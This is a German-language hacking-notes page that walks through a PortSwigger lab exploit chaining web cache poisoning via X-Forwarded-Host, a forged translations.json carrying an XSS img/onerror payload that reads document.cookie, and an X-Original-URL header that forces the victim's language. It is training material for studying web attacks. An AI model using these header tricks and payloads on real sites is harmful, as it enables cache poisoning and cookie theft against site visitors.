> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md).

# Kombination von Web-Cache-Poisoning-Schwachstellen

Notizen zur Kombination von Web-Cache-Poisoning-Schwachstellen für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Kombination von Web-Cache-Poisoning-Schwachstellen

Wir müssen **den Cache der Startseite vergiften** mit einer Version, die läuft **`alert(document.cookie)`** im Browser des Besuchers. Das Opfer gibt weiter `/` about **jede Minute** und **die Sprache des Opfers ist Englisch (`lang=en` Cookie)**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b464b34964f9de54a5ae15f2542d2aec341051ae%2F%7B0F619775-E191-4BEB-8BFF-7B48089C287E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### (1) Einstiegspunkt: Client-seitige Übersetzungsfunktion

Auf der Startseite beobachten wir:

* A `lang` Cookie (zum Beispiel, `lang=es`) + `session=...`
* Ein Übersetzungsskript: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

Dieses Skript liest `lang` aus Cookies und führt dann eine `fetch()` auf eine JSON-Datei durch:

```json
{
    "en": {
        "name": "Englisch"
    },
    "es": {
        "name": "Spanisch",
        "translations": {
            "Zur Liste zurückkehren": "Volver a la lista",
            "Details anzeigen": "Ver detailes",
            "Beschreibung:": "Description:"
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "Zur Liste zurückkehren": "返回清單",
            "Details anzeigen": "查看詳情",
            "Beschreibung:": "描述:"
        }
    },
    "ar": {
        "name": "عربى",
        "translations": {
            "Zur Liste zurückkehren": "العودة إلى القائمة",
            "Details anzeigen": "عرض التفاصيل",
            "Beschreibung:": "وصف:"
        }
    },
    "en-gb": {
        "name": "Korrektes Englisch",
        "translations": {
            "Zur Liste zurückkehren": "Von wo du gekommen bist",
            "Details anzeigen": "Gewähren Sie mir die Ehre, näher auszuführen",
            "Beschreibung:": "Hochtrabende Ausführungen zum Thema:",
        }
    },
    "ml": {
        "name": "മലയാളം",
        "translations": {
            "Zur Liste zurückkehren": "ലിസ്റ്റിലേക്ക് മടങ്ങുക",
            "Details anzeigen": "വിശദാംശങ്ങൾ കാണുക",
            "Beschreibung:": "വിവരണം:"
        }
    },
    "hb": {
        "name": "עברית",
        "translations": {
            "Zur Liste zurückkehren": "חזור לרשימה",
            "Details anzeigen": "הצג פרטים",
            "Beschreibung:": "תיאור:"
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "Zur Liste zurückkehren": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "Details anzeigen": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "Beschreibung:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "Finnisch",
        "translations": {
            "Zur Liste zurückkehren": "Palaa luetteloon",
            "Details anzeigen": "Details anzeigen",
            "Beschreibung:": "Kuvaus:"
        }
    },
    "hw": {
        "name": "Hawaiisch",
        "translations": {
            "Zur Liste zurückkehren": "Hoʻi i ka papa inoa",
            "Details anzeigen": "E nānā i nā kikoʻī",
            "Beschreibung:": "ʻO keʻano:"
        }
    },
    "mm": {
        "name": "Burmesisch",
        "translations": {
            "Zur Liste zurückkehren": "စာရင်းသို့ပြန်သွားသည်",
            "Details anzeigen": "အသေးစိတ်ကြည့်ရန်",
            "Beschreibung:": "ဖော်ပြချက်:"
        }
    }
}
```

Und `data.host` stammt aus einem Inline-Block auf der Startseite:

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

Dann wendet das Skript die Übersetzungen an, indem es Text ersetzt über `innerHTML`, was wichtig ist, weil es eine Übersetzung in \*\*HTML-Injektion\*\* verwandeln kann, wenn Sie das JSON kontrollieren.

### Schwachstelle #1: Host-Manipulation über `X-Forwarded-Host`

Durch Hinzufügen des folgenden HTTP-Headers

```http
X-Forwarded-Host: test.com
```

stellen wir fest, dass der Wert reflektiert wird in `data.host`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3461b6b282bb32dc55439a59de59571e7de8e61a%2F%7B8738A7F4-EB84-4AE4-BD88-1764A553A590%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0441f08693f4ec7dcae06a063a876c16e614082e%2F%7B107B9E1A-1046-4CDC-865C-95A76B09CAC8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

So können wir den Browser zwingen, die Datei zu laden:

```bash
/resources/json/translations.json
```

### 3. Schwachstelle #2: XSS über JSON-Übersetzungsdatei

Wir hosten auf dem Exploit-Server eine gefälschte `translations.json` die eine XSS-Injektion in einer Übersetzung enthält, zum Beispiel:

```json
{
    "en": {
        "name": "Englisch"
    },
    "es": {
        "name": "Spanisch",
        "translations": {
            "Zur Liste zurückkehren": "Hola",
            "Details anzeigen": "></a><img src=0 onerror=alert(document.cookie)>",
            "Beschreibung:": "Description:"
        }
    }
}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b8eb4e3ef454afe369d8180cee297aea878f63d%2F%7B445D19C6-63AA-4054-9F8A-8EF4502C0E23%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dann verwenden wir:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

Die aus dem Cache bereitgestellte Startseite verweist nun auf unsere schädliche JSON-Datei.

Der Inhalt der Übersetzung wird daher als HTML interpretiert, was die Ausführung des injizierten JavaScripts ermöglicht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58ef1abeb35cab2786ccb22cc34f1256b694daba%2F%7B6925B92C-AD18-401B-AC72-DA0538F6357A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 4. Einschränkung: Das Opfer verwendet Englisch

Das Übersetzungsskript wird nur ausgeführt, wenn:

* `lang !== 'en'`

Das Opfer zunächst `lang=en`. / Selbst wenn wir die JSON-Datei kontrollieren, \*\*l

Wir müssen daher **den Abschnitt auf Spanisch verstärken**.

### 5. Schwachstelle #3: Sprachanpassung erzwingen über `X-Original-URL`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87e13e9f0cc9f0b88feb65b876b9ce56405170c9%2F%7B21D57C8C-9241-4DB7-993C-5E7CE7818875%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Mit Param Miner identifizieren wir den verwundbaren Header:

```http
X-Original-Url: /test
```

Wir senden eine weitere Anfrage an `/` mit:

* `X-Original-URL: /test` → `404 Nicht gefunden`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4fe24d508cbd70a67151840d4dae3e7f8d1419d%2F%7B6273E951-346B-4585-8BC2-6732D2C9A311%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Der Cache liefert eine Antwort, die definiert `lang=es` für Besucher.

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

Dieser Weg:

* Setzt das `lang=es` Cookie
* Dann zurück zur Startseite gehen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-542b4e10792ab641da580c2735db6d5fffb9d4c4%2F%7BB0586630-FB00-4ABE-A0A2-7465B2093BC5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Ausführung des Payloads beim Opfer

1. Opfer besucht `/`
2. `lang` Cookie wird zu `es`
3. Die Seite lädt die `translations.json` Datei von unserem Exploit-Server neu
4. Die schädliche Übersetzung wird in das DOM injiziert
5. Der Browser führt aus:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-256f8fbe3919c29629f4632bd9801fd23bd53d0c%2F%7B67B0120B-1D1F-4ACF-87A8-D889A63AEE0C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
